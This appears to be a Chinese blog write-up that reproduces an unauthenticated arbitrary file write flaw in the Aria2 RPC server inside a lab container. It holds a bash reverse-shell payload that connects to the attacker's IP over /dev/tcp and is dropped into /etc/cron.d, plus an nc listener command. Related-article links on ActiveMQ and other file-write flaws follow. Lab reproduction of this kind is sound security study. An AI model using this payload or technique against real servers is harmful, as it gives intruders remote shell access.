目录:

  1. 简介
  2. 漏洞描述
  3. payload
  4. 漏洞复现

一、Aria2介绍

  Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过--enable-rpc参数启动.Aria2的RPC服务器可以方便的添加,删除下载项目。

二、漏洞描述

  通过控制文件下载链接,文件储存路径以及文件名,可以实现任意文件写入。同时通过Aria2提供的其他功能,诸如save-session等也能轻易地实现任意文件写入指定功能。

三、payload

  shell脚本:

#! /bin/bash
/bin/bash -i >& /dev/tcp/192.168.183.129/12345 0>&1

  站点;http://binux.github.io/yaaw/demo/#

四、复现

  靶机ip:192.168.183.134:6800

  攻击机:192.168.183.129

  直接访问aria2如下:

  1.rpc通信需要json或xml,直接从网页操作不方便,我们使用第三方UI与目标进行通信,打开 http://binux.github.io/yaaw/demo/# 点击configuration,设置  json-rpc路径(原理具体解释参照:https://paper.seebug.org/120/,有时间继续补充)

    2.设置下载任务,填写shell的url,及受害主机shell文件的存储路径

  

   3.确定添加后,可以到容器下查看,文件确实已下载到定时目录下,在被反弹shell的攻击机下监听端口 nc -lvvp port

   这里我遇到一些问题,cron.d下的shell文件没有执行,那么我们检查一下,是否是脚本有问题导致的,还是定时任务的一些问题,如两台主机时间不同步等。。

  分析过程:

  1.shell脚本是否能执行;直接运行shell命令,或者为其添加可执行权限后再执行,检查kali监听状态,发现可以监听到,脚本OK

  2.检查定时任务。。。这个确实是环境不允许,靶场docker镜像不完整,crontab -l 检查,没有定时任务在执行;检查定时任务服务开启,没有问题,检查日志,该环境没有日志,且进行下一步检查时,缺少crontab的其他环境,无法继续,可以推断这个问题,就是因为环境的不完整导致的。

  3.但是,在靶机环境中/etc/cron.d中,确实下载了shell文件,可以证明aria2这个漏洞确实是存在的。在更完整的生产环境中,应该是可以正常拿shell的。

  

综上,这个任意文件写入漏洞是由于服务端没有对写入做一个身份验证。

Aria2任意文件写入漏洞的更多相关文章

  1. ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088)

    ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088) 查看docker的activemq版本命令:$ docker ps | grep activemq927860512 ...

  2. 致远A8任意文件写入漏洞_getshell_exp

    近期爆出致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任 ...

  3. Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

    Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...

  4. ActiveMQ任意文件写入漏洞(CVE-2016-3088)

    上传webshell 容器用vulhub的 PUT一个jsp文件 MOVE到api目录 默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/tes ...

  5. 漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 未禁用PUT.MOVE等高危方法的ActiveM ...

  6. 74CMS 3.0任意文件写入漏洞

    一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...

  7. Aria2 任意文件写入

    访问aria2,发现服务已启动并且返回404页面 打开http://binux.github.io/yaaw/demo/#打开yaaw,点击配置按钮,填入运行aria2的目标域名:http://you ...

  8. ActiveMQ反序列化(CVE-2015-5254) && ActiveMQ任意文件写入 (CVE-2016-3088)

    ActiveMQ 反序列化漏洞(CVE-2015-5254) 漏洞详情 ActiveMQ启动后,将监听61616和8161两个端口,其中消息在61616这个端口进行传递,使用ActiveMQ这个中间件 ...

  9. JeeCMS v7 SSRF导致任意文件写入

    前言: 学习大佬的思路. from先知社区:https://xz.aliyun.com/t/4809 00X1: 是/ueditor/getRemoteImage.jspx 接口 通过构造upfile ...

随机推荐

  1. go:数据类型

    Go语言中有丰富的数据类型,除了基本的整型.浮点型.布尔型.字符串外,还有数组.切片.结构体.函数.map.通道(channel)等.Go 语言的基本类型和其他语言大同小异. 1.基本数据类型 整型 ...

  2. 10.map

    map Go语言中提供的映射关系容器为map,其内部使用散列表(hash)实现 . map是一种无序的基于key-value的数据结构,Go语言中的map是引用类型,必须初始化才能使用. map定义 ...

  3. sql数据库(更新)

    安装postgreSQL,遇到的bug:不要选择默认路径,安装到program files,否则连接数据库的时候会出现问题 如图显示数据库连接成功. 1.创建数据库——执行创建数据库的SQL 语句 C ...

  4. scanf()的使用及一些注意事项

    相比较Java的键盘录入,C语言的scanf有一些需要注意的细节,为了避免使用的时候踩坑,我们就来了解一下scanf. scanf()是C语言的格式输入函数,和printf函数一样被声明在stdio. ...

  5. 使用Python中的NLTK和spaCy删除停用词与文本标准化

    概述 了解如何在Python中删除停用词与文本标准化,这些是自然语言处理的基本技术 探索不同的方法来删除停用词,以及讨论文本标准化技术,如词干化(stemming)和词形还原(lemmatizatio ...

  6. Python第十一章-常用的核心模块01-collections模块

    python 自称 "Batteries included"(自带电池, 自备干粮?), 就是因为他提供了很多内置的模块, 使用这些模块无需安装和配置即可使用. 本章主要介绍 py ...

  7. coding++ :SQLyog 最新版本12.5-64bit 破解版

    点我下载 SQLyog 12.5-64bit 版本(包含注册码)

  8. Feign客户端实现RPC 调用

    1,springcloud 中支持http调用的两种方式,RestTemplate,Feign客户端 2,Feign 客户端是一个声明式(注解方式)http 远程调用工具 3,实现方式如下: 第一步: ...

  9. vue-父组件传递参数到子组件

    案例: 父组件 <template> <div id="app"> <h1>vuex</h1> <h3>count:{{ ...

  10. SpringApplication对象是如何构建的? SpringBoot源码(八)

    注:该源码分析对应SpringBoot版本为2.1.0.RELEASE 本篇接 SpringBoot的启动流程是怎样的?SpringBoot源码(七) 1 温故而知新 温故而知新,我们来简单回顾一下上 ...